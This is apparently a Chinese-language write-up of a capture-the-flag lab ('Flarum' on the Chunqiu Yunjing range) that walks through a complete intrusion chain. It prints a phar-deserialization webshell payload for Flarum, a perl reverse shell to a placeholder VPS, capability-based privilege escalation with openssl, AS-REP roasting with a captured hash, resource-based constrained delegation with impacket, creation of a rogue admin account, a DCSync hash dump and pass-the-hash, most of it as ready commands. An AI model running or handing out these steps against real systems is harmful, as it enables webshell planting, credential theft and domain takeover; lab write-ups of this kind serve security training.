春秋云镜-Flarum

admin 2024年5月19日02:57:19评论16 views字数 4800阅读16分0秒阅读模式

春秋云镜-Flarum靶标出了很久了,一直被其他事情所耽搁,这两天才有时间来玩(悲。

flag01

框架是 Flarum,这个框架也是在去年看过 P 牛的审计文章才知晓,后台有一个 RCE,首页提示用户名是 administrator春秋云镜-Flarum

爆破管理员密码,得到账号 administrator/1chris春秋云镜-Flarum

然后就是移步到 P 牛的审计文章看 RCE:https://tttang.com/archive/1714/,再看一遍仍觉得巧妙至极。

生成写入 webshell 的序列化数据

php phpggc -p tar -b Monolog/RCE6 system "echo PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=|base64 -d >/var/www/html/public/assets/dotast.php"

在 CSS 编辑器修改

@import (inline) 'data:text/css;base64,生成的payload';
春秋云镜-Flarum

保存后访问首页,接着再次编辑

.test {
  content: data-uri("phar://./assets/forum.css");
}

保存触发 phar 反序列化写入 webshell春秋云镜-Flarum

接下来是提权,SUID 提权春秋云镜-Flarum

pkexec 没成功,接着尝试 capabilities 提权,这篇文章写得比较详细

https://www.cnblogs.com/f-carey/p/16026088.html#linux%E6%8F%90%E6%9D%83%E4%B9%8B%E5%88%A9%E7%94%A8capabilities%E6%8F%90%E6%9D%83

查找设置了 capabilities 的可执行文件

getcap -r / 2>/dev/null
春秋云镜-Flarum

openssl 可以利用,接下来就是生成证书(这里注意在蚁剑中不能直接执行该命令)

我们可以新建一个 1.txt 文件,写入 perl 来反弹 shell

perl -e 'use Socket;$i="vpsip";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后 ./1.txt 执行反弹 shell,并生成证书

openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
春秋云镜-Flarum

跳转到根目录,启动 web 服务器

openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8888 -HTTP

然后请求 flag 文件

curl --http0.9 -k "https://127.0.0.1:8888/root/flag/flag01.txt"
春秋云镜-Flarum

flag02

上传 fscan 跑 C 段

172.22.60.8:88 open
172.22.60.15:445 open
172.22.60.42:445 open
172.22.60.8:445 open
172.22.60.42:139 open
172.22.60.15:139 open
172.22.60.8:139 open
172.22.60.42:135 open
172.22.60.15:135 open
172.22.60.8:135 open
172.22.60.52:80 open
172.22.60.52:8888 open
172.22.60.52:22 open
[*] NetBios: 172.22.60.42    XIAORANGFILESERVER            
[*] NetBios: 172.22.60.15    XIAORANGPC1                   
[*] NetBios: 172.22.60.8     [+]DC XIAORANGDC              
[*] NetInfo:
[*]172.22.60.8
   [->]DC
   [->]172.22.60.8
   [->]169.254.250.203
[*] NetInfo:
[*]172.22.60.42
   [->]Fileserver
   [->]172.22.60.42
   [->]169.254.164.125
[*] NetInfo:
[*]172.22.60.15
   [->]PC1
   [->]172.22.60.15
   [->]169.254.14.130
[*] WebTitle: http://172.22.60.52       code:200 len:5867   title:霄壤社区
[*] WebTitle: https://172.22.60.52:8888 code:200 len:260    title:None

看样子没有什么明显的能打点的机器入口,回到刚刚打下的后台,里面的邮箱用户做一个域用户字典春秋云镜-Flarum

收集的字典跑一下,探测存在的域用户

./kerbrute userenum --dc 172.22.60.8 -d xiaorang.lab user.txt
春秋云镜-Flarum

获取到的域用户继续做出字典,通过 impact 项目的 GetUserSPNs.py 脚本寻找没有做 Kerberos 预身份认证的用户

proxychains python3 GetNPUsers.py -dc-ip 172.22.60.8 -usersfile user.txt xiaorang.lab/
春秋云镜-Flarum

[email protected][email protected] 两个用户没有做 Kerberos 预身份认证,拿到 TGT 票据和对应的 session-key,尝试 hashcat 解密

hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:e17b681d244c8c045e349ab1058bd96a$a6557b4cfdee6ad869b46451c835dfc8f05baaf697d702c39a7072c97666f7c3964869e91aa963445d927628e7620d6eb63ce4fc22658050f9b87c6b5ceaac708325f7bf8efe0850ae948cd2c608280a84abfda69f2e56b8038ab39bd90336750ba9d5f81c1e26c7c96e8817df74f4ee77d340eb9a11d6ca00f26483aae04358f727dadcf5545b3d5bdad9a2ad035bcf1b5757d7df41a10b62aa4ed6b47c8c46f26fbe771036a1a3e44960eb420920606aea52e9c109933e79b4551b41d84c2535fb445bfae1c80252168c9bced56f152c372204f614100a84a8e190a7f46347585170a916805ef5667a66f3' rockyou.txt
春秋云镜-Flarum

得到域账号密码

[email protected]/Adm12geC

该账号可以通过 rdp 连接到 172.22.60.15(PC1)这台机子春秋云镜-Flarum

该机器上有一个 Xshell 应用,并且存储了另一个域用户的账号密码,通过 SharpXDecrypt 工具恢复 Xshell 存储的用户数据春秋云镜-Flarum

得到账户密码

zhangxin/admin4qwY38cc

上传 SharpHound 收集数据,做域环境分析春秋云镜-Flarum

可以看到 zhangxin 在 ACCOUNT OPERATORS 用户组中,具有 GenericAll 权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。

使用 SharpAllowedToAct 一步到位完成添加机器用户 HACK01/Qwer1234 和配置资源的约束委派

SharpAllowedToAct.exe -m HACK01 -p Qwer1234 -t PC1 -a DC.xiaorang.lab -d xiaorang.lab
春秋云镜-Flarum

使用 impacket 的 getST.py 生成票据

proxychains impacket-getST xiaorang.lab/HACK01$:Qwer1234 -dc-ip 172.22.60.8 -spn cifs/PC1.xiaorang.lab -impersonate Administrator
春秋云镜-Flarum

然后使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec PC1.xiaorang.lab -no-pass -k -dc-ip 172.22.60.8
春秋云镜-Flarum

获取第二个 flag

flag03

和前面步骤一样,继续通过资源约束委派打 FILESERVER 这台机器

SharpAllowedToAct.exe -m HACK02 -p Qwer1234 -t FILESERVER -a DC.xiaorang.lab -d xiaorang.lab
春秋云镜-Flarum

使用 impacket 的 getST.py 生成票据

proxychains impacket-getST xiaorang.lab/HACK02$:Qwer1234 -dc-ip 172.22.60.8 -spn cifs/FILESERVER.xiaorang.lab -impersonate Administrator

然后使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec FILESERVER.xiaorang.lab -no-pass -k -dc-ip 172.22.60.8
春秋云镜-Flarum

flag04

根据提示,Fileserver 主机上有黑客留下的域控后门,在 BloodHound 中看到 FILESERVER 机器拥有 DCSync 权限春秋云镜-Flarum

给 Fileserver 添加一个管理员用户 rdp 连接过去

创建新用户dotast
net user dotast qwer1234! /add
将用户dotast添加至管理员组
net localgroup administrators dotast /add

上传 mimikatz 抓取机器用户哈希春秋云镜-Flarum

导出域管哈希

proxychains impacket-secretsdump xiaorang/FILESERVER$@172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -just-dc
春秋云镜-Flarum

然后 PTH 哈希传递获取 flag

proxychains crackmapexec smb 172.22.60.8 -u administrator -Hc3cfdc08527ec4ab6aa3e630e79d349b -d xiaorang.lab -x "type UsersAdministratorflagflag04.txt"
春秋云镜-Flarum

原文始发于微信公众号(虹猫少侠):春秋云镜-Flarum

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日02:57:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋云镜-Flarumhttp://cn-sec.com/archives/2148917.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息